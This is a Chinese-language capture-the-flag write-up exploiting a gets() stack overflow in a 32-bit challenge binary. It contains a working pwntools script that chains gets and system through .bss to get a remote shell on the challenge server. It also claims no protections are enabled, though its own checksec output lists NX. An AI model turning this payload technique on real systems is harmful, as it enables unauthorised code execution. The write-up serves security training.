前言

这是一个简单的栈溢出,虽然刚开始确实有点小蒙,但做完还是很好理解的

题目解析

先分析文件

 Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位的,没有开任何保护
然后看下面这段代码

char *Start()
{
  char s; // [sp+Ch] [bp-6Ch]@1

  puts("You'll get unexpected surprises");
  printf("Do you want to try it?");
  return gets(&s);
}

很明显,gets函数有栈溢出的漏洞
但是在IDA中观察,并没有/bin/sh的字符串,所以只能自己构造了,
可以发现,在.bss段,有个buf2,

这样的话,我们的思路就清晰了

  1. 利用缓冲区溢出
    通过覆盖返回地址,控制程序执行流,将返回地址覆盖为gets函数,以便将/bin/sh写入内存
  2. 链式调用
    通过设置gets的返回地址system,实现函数链式调用,先调用gets,再调用system
  3. 参数传递
    get和system都需要参数,通过栈传递参数,将.bss段的地址作为参数传递给gets和system

EXP

from pwn import *
#io=process('./guess')
io=remote('1.95.36.136', 2057)
elf=ELF('./guess')

padding=0x6c+4

gets_addr=elf.sym['gets']


system_addr=elf.sym['system']
bss_addr=0x804a080

payload=padding*b'a'+p32(gets_addr)+p32(system_addr)+p32(bss_addr)+p32(bss_addr)

io.sendline(payload)
io.sendline('/bin/sh')


io.interactive()

此时的栈布局如下

偏移量 内容
s的起始地址 padding*b'a'
返回地址 gets函数的地址
gets返回地址 system函数的地址
gets参数 .bss段地址
system参数 .bss段地址

总结

主要还是如何构造payload,理解了这个这道题不是问题